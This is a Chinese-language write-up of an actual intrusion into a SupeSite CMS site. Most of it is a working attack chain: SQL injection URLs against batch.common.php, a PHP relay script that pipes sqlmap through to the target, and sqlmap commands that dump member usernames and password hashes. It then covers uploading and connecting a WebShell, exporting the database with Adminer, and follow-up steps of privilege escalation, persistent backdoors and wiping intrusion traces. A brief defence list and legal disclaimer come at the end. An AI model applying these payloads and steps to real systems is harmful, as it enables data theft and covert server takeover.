记一次针对SupeSite的中转注入实战
字数 976 2025-08-15 21:33:39
SupeSite中转注入实战技术文档
1. 漏洞背景
SupeSite是一款历史悠久的CMS系统,存在SQL注入漏洞点位于:
batch.common.php?action=modelquote&cid=1&name=spacecomments
2. 手工注入测试
2.1 确定字段数量
使用order by语句逐步测试字段数量:
http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20order%20by%20xxx%23
2.2 确定显示位
通过union select确定哪些字段会在页面显示:
http://www.xxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%23
2.3 获取数据库信息
获取当前数据库名称:
http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,database()%23
2.4 尝试获取表名
由于目标MySQL版本为4.0,无法使用information_schema.tables,手工注入受阻。
3. SQLMap中转注入技术
3.1 直接SQLMap测试失败
直接使用SQLMap无法获取结果:
sqlmap -u "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments" -v 3 --dbms=mysql --tamper=space2comment --risk=3 --level=5 --random-agent --dbs --batch
3.2 搭建中转脚本
创建PHP中转文件(sql.php):
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url = "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
3.3 通过中转使用SQLMap
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 --dbs
3.4 解决MySQL 4.0版本限制
由于MySQL 4.0无法使用information_schema,需要准备字典:
- 确定数据库为Discuz
- 查阅Discuz数据库结构准备表名字典
- 使用字典跑表名:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz --tables
- 使用字典跑列名:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members --columns
- 导出数据:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members -C "username,password" --dump
4. 获取WebShell
4.1 后台登录
使用获取的管理员账号密码(MD5需破解)登录后台。
4.2 上传WebShell
- 将WebShell压缩为ZIP文件
- 通过模板上传功能上传ZIP文件
- 系统会自动解压到随机目录
- 在备份管理中查看解压路径
- 使用中国菜刀连接WebShell
4.3 获取数据库配置
在WebShell中查找配置文件:
config.php
5. 数据库导出与导入
5.1 使用Adminer导出
- 上传adminer.php到服务器
- 通过Web界面访问adminer.php
- 选择导出SQL格式
- 压缩后下载
5.2 本地数据库导入
Windows环境:
使用Navicat等工具直接导入
Kali Linux环境:
- 创建空数据库:
mysql> create database Discuz;
- 导入数据库:
mysql> use Discuz;
mysql> set names utf8;
mysql> source /home/Discuz.sql;
6. 后续渗透步骤
- 上传反弹WebShell获取交互式会话
- 尝试系统提权
- 部署持久化后门
- 清理入侵痕迹
7. 防御建议
- 升级SupeSite到最新版本
- 对用户输入进行严格过滤
- 禁用危险函数如eval、system等
- 设置上传文件类型限制
- 定期更新服务器组件和补丁
8. 法律声明
本文所述技术仅供安全研究和授权测试使用,未经授权对他人系统进行测试属于违法行为,请遵守《网络安全法》等相关法律法规。